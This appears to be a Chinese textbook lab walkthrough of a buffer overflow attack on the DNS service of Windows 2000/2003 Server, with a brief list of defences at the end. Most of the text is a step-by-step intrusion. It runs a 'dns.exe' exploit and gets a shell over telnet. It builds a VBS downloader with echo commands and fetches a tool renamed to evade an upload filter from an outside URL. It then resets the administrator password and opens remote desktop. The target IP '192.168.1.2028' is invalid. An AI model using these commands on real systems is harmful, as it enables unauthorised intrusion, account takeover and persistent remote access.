1.实验环境
实验环境如图5-21所示。
入侵者(192.168.1.20):对192.168.1.2028进行缓冲区溢出攻击。
被入侵者(192.168.1.2028):是开启DNS服务的所有版本的Windows 2000 Server或Windows2003 Server SP1,在本次测试中使用Windows 2003 Server SP1。
2.缓冲区溢出攻击过程
第1步:入侵者下载并且执行dns.exe命令。到网上下载dns.exe工具,可以通杀Windows2000 Server、Windows 2003 ServerSP1系统,将其复制到C:Documents andSettings Administrator,在DOS窗口执行dns.exe命令,如图5-22所示。
? ? ? ? ? ? ? ? ? ? ? ? ? ??图执行dns.exe命令
第2步:寻找漏洞。执行dns.exe -s 192.168.1.2028命令,对主机进行扫描,如图5-23所示,显示出被入侵主机(192.168.1.2028)开放的端口以及操作系统,最主要的是显示“1047:Vulnerability”,意思就是1047端口存在漏洞。
缓冲区溢出攻击及其防范实例_缓冲区溢出攻击
第3步:实施溢出。如图5-24所示,执行dns.exe-t 2003chs 192.168.1.2028 1047命令,其中-t2003chs的意思是操作系统的型号,-t 2003chs即简体中文版的2003系统,如果是2000的系统就使用“-2000all”参数,192.168.1.2028就是我们的目标IP地址,1047就是刚才扫描出存在漏洞的端口。
出现“Attack sent, check port 1100”字样,说明已经打开了目标地址的1100端口。
第4步:成功入侵。如图5-25所示,执行telnet192.168.1.2028 1100命令,结果如图5-26所示,我们现在已经成功的入侵了对方的电脑,并且得到了管理员的权限。
第5步:如图5-27所示,在已经成功入侵的电脑上执行简单的操作。
第6~11步介绍在被入侵电脑中开3389端口(远程桌面)的方法。
第6步:创建用来下载的VBS脚本tony.vbs。在被入侵电脑的命令行里输入:
C:>echo with wscript:if .arguments.count^<2then .quit:end if > tony.vbs
C:>echo setaso=.createobject("adodb.stream"):setweb=createobject("microsoft.xmlhttp") ?>> ?tony.vbs
C:>echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit>>? tony.vbs
C:>echo aso.type=1:aso.open:aso.writeweb.responsebody:aso.savetofile .arguments(1), 2:end with >> ?tony.vbs
上面的命令创建一个用来下载的VBS脚本tony.vbs。
第7步:在入侵者的电脑上上传wrsky.exe。把开3389端口的工具(wrsky.exe,可以到网站下载)上传到自己的个人空间。
缓冲区溢出攻击及其防范实例_缓冲区溢出攻击
注意:
由于提供个人空间的网站都对上传文件的类型进行了限制,允许的文件类型及大小见表5-10。可知,不允许上传exe文件,因此上传之前对文件的后缀进行修改,比如wrsky.exe修改为wrsky.rar。
第8步:在被入侵电脑上下载wrsky.exe。如图5-28所示,在被入侵电脑的命令行里输入:cscript tony.vbshttp://blogimg.chinaunix.net/blog/upfile2/080313214807.rar c:wrsky.exe命令,其中http://blogimg.chinaunix.net/blog/upfile2/080313214807.rar为将wrsky.rar上传到个人空间后的URL。这条命令将080313214807.rar下载并且重新命名为wrsky.exe。
第9步:在被入侵电脑执行wrsky.exe命令。如图5-29所示,在入侵电脑的命令行执行wrsky.exe命令,获得帮助信息。
第10步:重新设置被入侵电脑的管理员密码。如图5-30所示,在入侵电脑的命令行执行netuser administrator 123456命令,对管理员账号重新设置密码为123456,为了下面能够以管理员身份远程桌面登录。
第11步:打开被入侵电脑的远程桌面服务。如图5-31所示,在被入侵电脑的命令行执行wrsky.exe -x 8686命令,打开对方的远程桌面服务,并且使用8686端口,再输入wrsky.exe -r命令。
第12步:远程桌面连接被入侵计算机。在本地计算机,【开始】/【运行】里执行mstsc(MS TerminalServer Client)命令后,如图5-32所示,输入192.168.1.2028:8686,单击【连接】按钮,输入管理员账号和密码(Administrator、123456),登录上去,如图5-33所示。
缓冲区溢出攻击及其防范实例_缓冲区溢出攻击
3.缓冲区溢出攻击的防范措施
(1)关闭不需要的特权程序。
(2)及时给系统和服务程序漏洞打补丁。
(3)强制写正确的代码。
(4)通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。
(5)利用编译器的边界检查来实现缓冲区的保护,这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是代价比较大。
(6)在程序指针失效前进行完整性检查。
(7)改进系统内部安全机制。